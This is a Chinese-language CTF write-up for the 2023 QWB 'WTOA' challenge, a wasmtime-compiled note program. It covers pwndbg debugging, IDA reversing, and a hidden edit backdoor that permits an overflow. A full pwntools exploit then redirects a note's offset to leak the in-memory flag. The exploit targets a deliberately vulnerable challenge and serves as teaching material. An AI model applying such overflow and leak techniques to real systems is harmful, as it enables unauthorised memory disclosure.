文章目录
- 参考
- WebAssembly
- Wasmtime
- 调试
- 逆向源码
- exp
参考
WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例
WebAssembly
WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。
WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。
由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。
Wasmtime
相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。
启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过 --allow-precompiled
来运行
./wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa
调试
gdb ./wasmtime
set args run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa
发现flag和add后输入的content很接近
pwndbg> search flag{
Searching for value: 'flag{'
[heap] 0x555556fac865 'flag{zhiyinnitaimei}@'
[heap] 0x555556fc91c0 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2b40 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2c6d 'flag{zhiyinnitaimei}'
[stack] 0x7fffffffe19b 'flag{zhiyinnitaimei}'
pwndbg> search aaaaaaaa
Searching for value: 'aaaaaaaa'
[anon_7ffe77bb3] 0x7ffe780b2cc0 'aaaaaaaa'
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2c6d
0x53 does not belong to a mapped page in memory
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2b40
0x180 does not belong to a mapped page in memory
pwndbg>
wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000
0x7ffff7bfc000 0x7ffff7c08000 r-xp c000 1000 /home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa
逆向源码
把wasm格式文件放入IDA
IDA View->Graphs->Function Calls
找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向
调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处
0x7ffff7bfd337 call 0x7ffff7bfeef0 <0x7ffff7bfeef0>
► 0x7ffff7bfd33c movsx r8, byte ptr [rbx + r15 + 0x10] R8, [0x7ffe780b2b20] => 0x41
0x7ffff7bfd342 add r8d, -0x41 R8D => 0 (0x41 + 0xffffffffffffffbf)
x/40s 0x7ffe780b2b20
0x7ffe780b2b20: "Ad"
0x7ffe780b2b23: ""
0x7ffe780b2b24: ""
0x7ffe780b2b25: ""
0x7ffe780b2b26: ""
0x7ffe780b2b27: ""
0x7ffe780b2b28: ""
0x7ffe780b2b29: ""
0x7ffe780b2b2a: ""
0x7ffe780b2b2b: ""
0x7ffe780b2b2c: ""
0x7ffe780b2b2d: ""
0x7ffe780b2b2e: ""
0x7ffe780b2b2f: ""
0x7ffe780b2b30: ""
0x7ffe780b2b31: ""
0x7ffe780b2b32: ""
0x7ffe780b2b33: ""
0x7ffe780b2b34: ""
0x7ffe780b2b35: ""
0x7ffe780b2b36: ""
0x7ffe780b2b37: ""
0x7ffe780b2b38: ""
0x7ffe780b2b39: ""
0x7ffe780b2b3a: ""
0x7ffe780b2b3b: ""
0x7ffe780b2b3c: "m\034P"
0x7ffe780b2b40: "flag{zhiyinnitaimei}"
0x7ffe780b2b55: ""
根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值
print(v6, v6, 0x46FLL, 0LL); // size
.rodata.wasm:000000000001B46F aSize db 'size > ',0
然后结合字符串和上下文和动态调试可以猜出所有函数的作用
大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量
大致管理如下
可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面
结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag
getinput(a1, a1, 0LL, v20 - 48, 31);
len = set_to_chunk(a1, a1, v20 - 48);
*(base + v4 + 36) = len;
if ( len == 0x345231 )
{
if ( *(base + 4016) == 1 )
{
v14 = *(base + v4 + 44);
*(base + v4 + 4) = *(base + v4 + 40);
*(base + v4) = v14;
print(a1, a1, 0x4DELL, (v20 - 96)); // content for note[%lu] with offset [%lu] >
save(a1, a1, *(v19 + 40) + *(base + *(base + (*(base + *(v19 + 92) + 4) + 4 * *(base + v4 + 44)))), 48);
*(base + 4016) = 0;
goto LABEL_15;
}
v13 = base + v4;
}
根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset
起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行
发现开了随机话后偏移不变,改为flag的偏移即可
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))
gdb.attach(p)
pause()
p.sendlineafter(b"Choice > ",str("A"))
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[0] > ",8*str("a"))
p.sendlineafter(b"Choice > ",str("A"))
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[1] > ",8*str("b"))
p.sendlineafter(b"Choice > ",str("E"))
p.sendlineafter(b"index > ",str("0"))
p.sendlineafter(b"offset > ",str("0"))
p.sendlineafter(b"length > ",str("3428913"))
p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))
p.sendlineafter(b"Choice > ",str("S"))
p.sendlineafter(b"index > ",str("1"))
p.sendlineafter(b"offset > ",str("0"))
p.sendlineafter(b"length > ",str("32"))
p.recvuntil(b"content for note[1] with offset [0] > ")
flag=p.recv(timeout=2)
print(flag)
p.interactive()